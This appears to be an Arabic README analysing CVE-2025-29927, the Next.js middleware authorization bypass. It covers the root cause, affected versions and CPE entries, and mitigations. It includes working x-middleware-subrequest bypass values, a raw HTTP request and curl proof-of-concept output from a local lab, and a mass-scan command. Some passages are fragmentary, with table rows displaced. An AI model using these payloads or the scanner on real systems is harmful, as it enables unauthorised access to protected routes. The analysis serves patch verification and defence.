
تحليل متعمق وبرهان المفهوم (PoC) لـ CVE-2025-29927، وهو تجاوز للمصادقة في البرمجية الوسيطة Next.js عبر رأس x-middleware-subrequest. يتضمن قوالب Nuclei وسكربت مسح جماعي للاختبار.
يقدم هذا المستند دراسة للثغرة CVE-2025-29927، التي تؤثر على آلية Middleware في إطار العمل Next.js.
Next.js هو إطار عمل مفتوح المصدر شائع من Vercel لتطوير التطبيقات القائمة على React. يدعم التقديم من جانب الخادم، والتوليد الثابت، ونظام وسيط مرن (middleware) يُستخدم للتوجيه، وإعادة التوجيه، ورؤوس الأمان، والتحقق من صلاحيات الوصول.
في مارس 2025، تم اكتشاف ثغرة حرجة CVE-2025-29927 تتعلق بمعالجة رأس الخدمة الداخلي للطلبات الفرعية.
جوهر المشكلة هو إمكانية تجاوز فحوصات التفويض في التطبيقات التي يتم فيها تنفيذ التحكم في الوصول داخل middleware فقط، عن طريق إدخال قيمة معينة في رأس HTTP x-middleware-subrequest. إذا كانت الأمان معتمدًا فقط على middleware، يمكن للمهاجم الوصول إلى المسارات أو البيانات المحمية.
الإصدارات المتأثرة من Next.js والإصلاحات (وفقًا للمصادر العامة والمواد الرسمية):
الإصلاحات متاحة في الإصدارات 12.3.5 / 13.5.9 / 14.2.25 / 15.2.3.
يُستخدم Next.js على نطاق واسع في الإنتاج؛ والثغرة التي تمس طبقة middleware (التي كثيرًا ما تُستخدم للمصادقة/التفويض وسياسات الأمان) تحمل مخاطر عملية عالية.
تحليل الثغرة خطوة بخطوة وتوثيق دورة البحث الكاملة:
جمع وتنظيم المواد.
تنظيم المصادر العامة حول CVE-2025-29927؛ شرح جوهر الخلل، شروط التشغيل، والإصدارات/التصحيحات المؤكدة.
تحديد CPE وشروط التهيئة.
تقديم قائمة CPE/الإصدارات ووصف التهيئات التي يمكن فيها تكرار الثغرة (مثل النشر الذاتي والتفويض على مستوى middleware).
عرض توضيحي آمن.
إعداد عرض توضيحي قابل للتكرار في بيئة اختبارية (بدون إجراءات مدمرة) يؤكد تجاوز middleware في الإصدارات الضعيفة.
منهجيات الفحص الجماعي.
وصف وتنفيذ ثلاثة أساليب آمنة:

السبب الجذري. في Next.js، يُستخدم رأس الخدمة x-middleware-subrequest لتتبع الطلبات الفرعية الداخلية ومنع التكرار في middleware. في الفروع الضعيفة، يمكن للعملاء الخارجيين إدراج هذا الرأس بقيمة «متوقعة» — ويقوم وقت التشغيل بتجاوز تنفيذ middleware، ويمرر الطلب مباشرة إلى معالج المسار.
دور الرأس. في الأصل، صُمم رأس x-middleware-subrequest كمؤشر داخلي على أن طلب HTTP الحالي قد تم تشغيله بواسطة الإطار نفسه كطلب فرعي وسيط، وليس وصولاً مباشرًا من المستخدم.
وهو ضروري للتشغيل الصحيح للآليات الداخلية لـ Next.js: بالإضافة إلى التوجيه، يساعد هذا العلم في تجنب التكرار اللانهائي، من خلال «تعليم» كل طبقة وسيطة تم استدعاؤها.
لكن هذا المنطق بالتحديد أدى إلى ثغرة غير مقصودة في الحماية: يمكن للعميل الذي يضيف هذا الرأس بنفسه أن يجعل النظام يعامل طلبه كطلب داخلي وبالتالي يتجاوز فحوصات التفويض.
تطور المنطق.
تشير السجلات الحالية لـ NVD إلى المنتج Vercel Next.js مع البرنامج المستهدف node.js. بالنسبة للفروع الضعيفة، تُطبق التهيئات التالية (نطاقات الإصدارات محددة على مستوى تهيئات CPE في NVD):
| CPE URI | نطاق الإصدارات الضعيفة |
|---|---|
cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:* | 11.1.4 ≤ v < 12.3.5 |
ملاحظة: في وصف CVE يُشار أيضًا إلى أنه «بدءًا من 11.1.4 وحتى 12.3.5 / 13.5.9 / 14.2.25 / 15.2.3» يمكن تكرار الثغرة عند استيفاء الشروط أدناه.
next start، البناء مع output: 'standalone') أو أي بيئة يتم فيها تنفيذ middleware على الطلبات الواردة دون تصفية محيطية للرؤوس الخدمية.x-middleware-subrequest (مثل قواعد WAF).x-middleware-subrequestلتجنب التكرار اللانهائي للكود الوسيط، يقوم وقت التشغيل بتكوين وقراءة رأس خدمي:
: — نحصل على مصفوفة من «الطلبات الفرعية».NextResponse.next())،x-middleware-subrequest-id) في التصحيحات، مرتبط بجلسة العملية الحالية؛ إذا لم يتطابق، يتم مسح x-middleware-subrequest الوارد على جانب الخادم.يرسل المهاجم طلب HTTP إلى تطبيق Next.js المستهدف، مضيفًا إليه رأس الخدمة x-middleware-subrequest.
في القيمة، يتم تحديد المسار إلى ملف middleware — على سبيل المثال pages/_middleware، middleware أو src/middleware.
تعتمد القيمة المطلوبة على إصدار Next.js المستخدم وهيكل المشروع.
عندما يصل هذا الطلب إلى التطبيق، يعامله المنطق الداخلي للإطار كـ طلب فرعي داخلي ويفترض أن الطبقة الوسيطة قد تم تنفيذها بالفعل.
ونتيجة لذلك، يتم تخطي فحوصات المصادقة والتفويض التي تحدث عادة في middleware عمليًا.
هام: هذه المواد مقدمة حصريًا للتحقق من التصحيح ونمذجة المخاطر في بيئة اختبارية مغلقة.
أي فحص في البنية التحتية الإنتاجية ممكن فقط بإذن من مالك الموارد.
يستخدم Next.js رأس الخدمة x-middleware-subrequest لتعليم الطلبات الفرعية الداخلية ومنع التشغيل التكراري لـ middleware.
أثناء معالجة الطلب، يتم تقسيم قيمة الرأس حسب الرمز : ومقارنتها باسم middleware الحالي.
في الإصدارات الجديدة، تمت إضافة حد للعمق (MAX_RECURSION_DEPTH، عادةً 5).
إذا تحقق الشرط (تطابق الاسم أو الوصول إلى الحد)، يقوم Next.js بتجاوز middleware ويمرر الطلب إلى الأمام.
يمكن للمهاجم تكوين قيمة رأس صحيحة، محاكيًا طلبًا فرعيًا داخليًا.
_middleware.*_middleware.js/ts وتقع في دليل pages/.x-middleware-subrequest: pages/_middlewaremiddleware.*middleware.js/ts./src.x-middleware-subrequest: middleware أو x-middleware-subrequest: src/middleware:، وإذا كان عدد تكرارات اسم middleware ≥ 5،NextResponse.next().x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware أو x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middlewareفي إصدارات 15.x، أعاد المطورون تصميم المنطق لمنع الاستدعاءات التكرارية اللانهائية.
عندما يتم تشغيل middleware في مسار (على سبيل المثال /api/*)، يحصل Next.js على عنوان URL آخر يؤدي أيضًا إلى تشغيل نفس middleware.
يحسب الإطار عدد مرات التشغيل عبر رأس x-middleware-subrequest.
إذا وصل عدد الاستدعاءات إلى الحد المحدد (MAX_RECURSION_DEPTH، افتراضيًا 5)، يتم حظر استدعاءات middleware الإضافية.
يمكن للمهاجم استغلال هذا السلوك عن طريق تحديد قيمة الرأس مسبقًا بعدد التكرارات المطلوب، وبالتالي الوصول بشكل مصطنع إلى حد العمق — ونتيجة لذلك، يتم تجاوز middleware بالكامل.
بالنسبة للفروع القديمة، يتم اختيار قيمة الرأس وفقًا للخيارات المذكورة أعلاه
GET /admin/dashboard HTTP/1.1
Host: <TEST-HOST>
User-Agent: <YOUR-LAB-CLIENT>
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
صُمم x-middleware-subrequest كآلية داخلية للحماية من التكرار اللانهائي.
ولكن في الإصدارات الضعيفة، كانت التصفية للطلبات الخارجية غائبة: يمكن للعميل تزوير الرأس،
وتحقيق شرط التجاوز (تطابق الاسم أو الوصول إلى حد العمق)
والوصول مباشرة إلى معالج المسار المحمي.
git clone https://github.com/iteride/CVE-2025-29927.git
cd CVE-2025-29927/nextjs/
npm install
npm run dev
الاختبار:
(المثال مبني على Next.js 15.2.2؛ بالنسبة للفروع الأخرى، اختر قيمة الرأس وفقًا للجدول في قسم PoC)
curl -I http://localhost:3000
HTTP/1.1 307 Temporary Redirect
location: /403
Date: Mon, 22 Sep 2025 16:36:15 GMT
Connection: keep-alive
Keep-Alive: timeout=5
curl -I -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000
HTTP/1.1 200 OK
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch, Accept-Encoding
link: </_next/static/media/4cf2300e9c8272f7-s.p.woff2>; rel=preload; as="font"; crossorigin=""; type="font/woff2", </_next/static/media/93f479601ee12b01-s.p.woff2>; rel=preload; as="font"; crossorigin=""; type="font/woff2", </_next/static/css/app/layout.css?v=1758558988609>; rel=preload; as="style"
Cache-Control: no-store, must-revalidate
X-Powered-By: Next.js
Content-Type: text/html; charset=utf-8
Date: Mon, 22 Sep 2025 16:36:28 GMT
Connection: keep-alive
Keep-Alive: timeout=5
x-middleware-subrequest على مستوى WAF/الوكيل.X-Middleware-Subrequest المكون خصيصًا.
⚠️ تنبيه: القالب مخصص للاختبار فقط على أهدافك الخاصة أو المسموح بها. استخدامه على خدمات طرف ثالث دون موافقة المالكين غير قانوني.
python3 scan.py --targets-file TARGETS_FILE --paths-file PATHS_FILE --threads THREADS
cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:* | 13.0.0 ≤ v < 13.5.9 |
cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:* | 14.0.0 ≤ v < 14.2.25 |
cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:* | 15.0.0 ≤ v < 15.2.3 |